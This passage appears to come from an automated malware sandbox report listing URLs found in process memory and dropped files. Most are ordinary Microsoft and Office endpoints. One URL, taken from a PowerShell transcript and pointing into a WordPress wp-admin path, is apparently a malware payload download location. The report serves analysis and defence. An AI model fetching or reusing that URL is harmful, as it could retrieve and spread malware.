            Source: svchost.exe, 00000002.00000002.311827885.000001E8E943D000.00000004.00000001.sdmp, svchost.exe, 00000002.00000003.285003987.000001E8E942F000.00000004.00000001.sdmpString found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
            Source: svchost.exe, 00000002.00000003.285003987.000001E8E942F000.00000004.00000001.sdmpString found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://ecs.office.com/config/v2/Office
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://entitlement.diagnostics.office.com
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://entitlement.diagnosticssdf.office.com
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://globaldisco.crm.dynamics.com
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://graph.ppe.windows.net
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://graph.ppe.windows.net/
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://graph.windows.net
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://graph.windows.net/
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://incidents.diagnostics.office.com
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://incidents.diagnosticssdf.office.com
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://lifecycle.office.com
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://login.microsoftonline.com/
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://login.microsoftonline.com/common
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://login.windows.local
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://login.windows.net/common/oauth2/authorize
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://management.azure.com
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://management.azure.com/
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://messaging.office.com/
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://ncus-000.contentsync.
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://ncus-000.pagecontentsync.
            Source: 463.exe.5.drString found in binary or memory: https://neubox.com/Contacto
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://officeapps.live.com
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://officeci.azurewebsites.net/api/
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://officesetup.getmicrosoftkey.com
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://onedrive.live.com
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://onedrive.live.com/embed?
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://powerlift-frontdesk.acompli.net
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://powerlift.acompli.net
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://retailer.osi.office.net/appstate/query
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
            Source: PowerShell_transcript.134349.8bR+z5C+.20200802004011.txt.5.drString found in binary or memory: https://scoenuganda.org/wp-admin/k_fhsvc_wni2zxzrc/
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://settings.outlook.com
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://shell.suite.office.com:1443
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://skyapi.live.net/Activity/
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://sr.outlook.office.net/ws/speech/